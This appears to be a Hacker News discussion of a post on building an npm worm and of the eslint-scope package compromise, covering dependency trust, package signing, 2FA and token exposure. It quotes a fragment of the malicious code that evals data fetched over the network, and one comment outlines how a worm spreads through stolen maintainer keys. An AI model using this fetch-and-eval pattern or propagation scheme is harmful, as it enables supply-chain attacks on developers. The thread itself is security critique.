How to build an NPM worm
jamie.build
jamie.build
...
response.on('data', contents => {
eval(contents);
});
response.on('error', () => {});
...
---These are both really low-hanging "I don't write javascript" mistakes to make. Most Node.js devs know that the response is a stream, right? Interesting that a hacker with little knowledge of the language still managed to cause so much hoopla.
I always get a bit uneasy when I install a package and I get some over-the-top message like "installed 1287 packages from 103 contributors, found 23 non-critical vulnerabilities". We should all definitely try harder to know what we depend on and not end up in dependency hell.
Every trivial "isArray" module you depend on is another person you need to trust, and for what? It takes a second to write a "utilities.js" file and throw in crap like:
const isArray = x => x && Array.isArray(x);Ultimately though, the goal needs to be to build tools where its hard to do something insecure regardless of how we otherwise feel about that programming practice. It can't be that the reason we shouldn't install is-array is because it can lead to catastrophic exploits -- that says something about the ecosystem not the validity of where we choose to draw the line of what merits a library.
Node is cursed in part by its success. In a lot of ways its like the early days of the web, it grew faster than we had time to figure stuff out in. That's OK if we learn quickly and adjust accordingly. We don't have to run node program's with access to everything -- but again, we don't have to run any kind of program with access to everything. Go to Homebrew's website (https://brew.sh). This is a developer tool and what they tell you to do is to blindingly copy a bash line that downloads a file from THE MASTER BRANCH on GitHub and runs it on your system:
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
Get access to this guy's password and you can compromise tons of systems too. As much as I hate the Mac App Store as a distribution mechanism, there's something to the "sandbox first" programming mentality it incidentally forces its apps into. Maybe we should be thinking more along those lines too.Better to minimise dependencies particularly for trivial functions. Not just for security but for ease of development.
:-)
In seriousness though, there many ways to write an isArray. Just yesterday I was looking at the different things String::repeat() handles on Mozilla's site. What seems trivial can be defined slightly differently everywhere and I tend to reach into the npm bag if I know it's open to interpretation.
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Refe...
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
Ignoring the obvious stupidity here, why does it invoke Ruby only to invoke curl?to be fair, there's nothing particular about the branch called 'master'.
But people don't import micromodules, they import entire dependency trees of arbitrary depth full of micromodules. The greater simplicity of the modules ironically leads to greater complexity in practice.
Personally, I think this is an example of a failure of some people to appreciate the consequences of their preferences.
I've known programmers who couldn't program very well, but they understood the business domain and its rules so well that, while writing verbose unmaintainable crap they could be as productive as better programmers who did not know the domain as well.
> popular, well known registry of snippets
> named, searched, voted on, ranked, written about in top-10 articles
?
This page is unavailable when linked to from news.ycombinator.com.
Please find a less toxic place to spend your time.
Per https://github.com/jamiebuilds/jamie.build/commit/b66f185df4...I truly wonder, without judgment, why the author thinks that HN is toxic. I doubt he reads this but maybe some people who don't share my impression can guess?
I find toxic subthreads from time to time but they are mostly flagged or already dead.
I love it here but sometimes it can be very negative. Any discussion of Bitcoin for instance used to bring out the worst of people.
Same goes for messaging networks (surprised me) and politics (not all that surprising after all.)
discussing different opinions doesn't need to become toxic however, so a civil discourse is possible even on polarizing topics. But having said discourse be civil is important, as otherwise both sides of the argument just get frustrated with no real progress in sight.
Perhaps partly because Peter Thield is a "fascist"?
https://refererhider.com/?https://www.jwz.org/blog/2017/02/n...
(An argument that holds very little water. Fascism/national socialism promotes mixed economies and is very far from libertarianism, which is Thiel's actual political ideology. https://en.wikipedia.org/wiki/Fascism#Definitions )
I've never once found HN a toxic place in the last 4 years. A place to meet people with different opinions and have discussions about those opinions, yeah, but that's beneficial -- literally the opposite of toxic.
- HN is generally favorable than many other websites, but only because those websites are hopelessly toxic.
- Voting system works well for filtering non-informative contents out, but it does prefer some kinds of informative contents than others.
- Conflicts in HN are not common, but once started they are hard to control. HN is not a good place for managing conflicts; it's only good for mild discussions and it has no effective measure to stop discussions from becoming conflicts.
- Of course there are many different opinions less represented in HN. Some of them can be considered as to an inherent bias of HN.
I've got plenty of nits worth picking. I think most people do.
It depends on the topic. Recently, many topics have laid bare the groupthink attitude of the HN community. Any comments even questioning those views, much less actually expressing an opposite view, are instantly downvoted and derided in replies. This attitude is pervasive, all the way up to management. I am currently rate-limited, for example, because I was against GDPR. I was told by @dang:
”I'd be happy to lift the rate limit after these repetitive GDPR controversy threads have died down.”
In other words, as soon as my opinion is irrelevant because there are no threads about it, I can speak again.
That’s pretty much as toxic as it gets.
What if, perhaps, they are deservedly [1][2].
[1] https://hackernoon.com/im-harvesting-credit-card-numbers-and...
[2] https://web.archive.org/web/20150515011238/https://nodejs.or...
But every community has some sort of bias. Otherwise, it's not really a community.
Yes, my comments about issues with NN are disagreed with and downvoted to oblivion, but there's very few verbal attacks, and generally well-reasoned arguments.
> If you can't take the heat, get out of the kitchen.
That's exactly what he did, and I guess I don't blame him. The internet can be too much for some people.
If HN flags this article, then I might be slightly more inclined to agree with the author.
Here's an archived copy of the page anyways: http://archive.is/sXaEz
So I got the message too.
On the other hand, I know we are on HN, but I know hundreds of technical people, but only few of them installs privacy extensions, just the adblock. People don't care I think. I care to the extreme and I have installed uMatrix on desktop. No sane person would do that.
Btw as "soon to have" startup business I need people to inform me where they came from.
Edit. Found it here: https://news.ycombinator.com/item?id=17414652
Travis CI intentionally avoids this sort of vulnerability by never providing encrypted environment variables when running pull requests from forks:
https://docs.travis-ci.com/user/encryption-keys/
This is especially necessary because a pull request can make arbitrary code change, like "print the npm access token", which would then run as part of the test suite and show up in the public logs.
It is possible NPM could take the Github route with ssh tokens and only limit NPM publishes to certain authorized computers; a minor step, but you'd have to compromise the computer as well. That could probably be an option in the NPM settings as an extra step.
Pressing F5 obviously works around this referrer trick, but I find it interesting that someone would (ab)use the HTTP referrer to send a message to visitors from a specific site.
This is quite an innocent one, as it is obvious. But what about news/informational sites that subtly modify their message and influce. At least I would not have noticed.
To me this is the irresponsibility of the NPM maintainers. Require some kind of cryptographic proof you intended to change the code. Signing or TFA or we wont host your w̶o̶r̶m̶ code ...
NPM the repository is not open source? How does a non open source platform ended up being the default package repository for an open source project is a complete mystery (since NPM client IS bundled with node distribution). People should be allowed to run their own NPM mirror ... for without having to pay for a license. I don't have to pay for packagist or pip server, I can only if I want professional support, so what is this?
Somebody has to pay the bills.
NPM server is not open source to begin with. Its client shouldn't be bundled with node, an open source project. I don't use Wordpress but pretty sure I don't have to pay a license to Wordpress to install its CMS on a server. And github server IS NOT open source.
There was once a PR open, but it was rejected after sitting idle for over a year.
Yes, you read that right.
Yes, it doesn't solve all the problems and yes you still have to determine who to trust, but at least it makes it POSSIBLE to trust anything. Currently it's impossible to trust anything that you install—and packages can run arbitrary, unsandboxed code with access to the full filesystem when they are installed. That just seems insane to me.
Alice installs malicious eslint.
Attacker has control of Alice's machine and signs a malicious version of Alice's package using Alice's key.
Attacker publishes a new version of Alice's package.
Bob installs Alice's (malicious) package.
Attacker has control of Bob's machine and signs a malicious version of Bob's package using Bob's key.
Attacker publishes a new version of Bob's package.
...repeat
IMO signing could only work if it were combined with 2FA so that each time a package is signed, the signing operation is verified by the user on a second device. Otherwise it doesn't really impede a worm significantly because the nature of this attack is that the maintainer's primary device gets completely owned. We are all very lucky that the eslint attack only stole npm credentials instead of installing rootkits.Building a system that is immune against the maintainer's device being compromised puts you into "Reflections on trusting trust" territory. Just sticking two-factor authentication into that process won't change much (though it would of course also mitigate the password reuse vector).
Yegge's security vs accessibility rant/monograph should be required reading. The NPM team's choice to favor accessibility is a reasonable choice. The trade-offs are significant.
https://eslint.org/blog/2018/07/postmortem-for-malicious-pac...
The account of one of the eslint maintainers was compromised.
A ledger of hashes of published packages that is run on separate infrastructure and consumed by the client would do just as well as signing for detection of both threats without a lot of complicated issues around third party key material handling, crypto library bugs, and the need for revocation processes.
Note: this is based on experience validating all gems after the yaml scare years ago.
Clicking your heels three times and saying 'GPG', of course, doesn't fix much.
What you advocate in this thread is setting aside defense in depth. Could the attacker have used the stolen credentials to pivot to other machines and ultimately gain access to the GPG keys? Maybe, but it's a hurdle, and not a small one. The more hurdles we can place in the way, the less likely it is that small mistakes cascade into total system failure.
There may be legitimate reasons to not to use package signing, but this is definitely not one of them.
>2018-07-12 18:42 UTC: npm revoked all access tokens generated before 2018-07-12 12:30 UTC.
Does this mean that potentially any version update (of ANY npm package) published between 9:49 and 18:42 could potentially be compromised? Someone's going to have to go through all of them with a fine tooth comb...
The maintainer whose account was compromised had reused their npm password on several other sites and did not have two-factor authentication enabled on their npm account.
I wonder how many accounts the attacker checked before hitting this account. This will definitely get a nice place in the bucket of examples I throw to people, when I see they are still reusing passwords.
What makes you say that? The "not recommended" action in their screenshot is to disable 2FA. (I did find the screen a little confusing when setting up 2FA just now, though; it wasn't clear that it was picking between three different actions.)
It sounds like a sad conclusion, but really, what are other reasonable reasons not to fix that glaring security hole that affects millions of direct and indirect users?
npm emails you by default whenever one of your packages has been published (even by you), so I imagine that would be the most likely way that the problem would be detected in practice.
But that is not all what happened here... Or am I reading this wrong?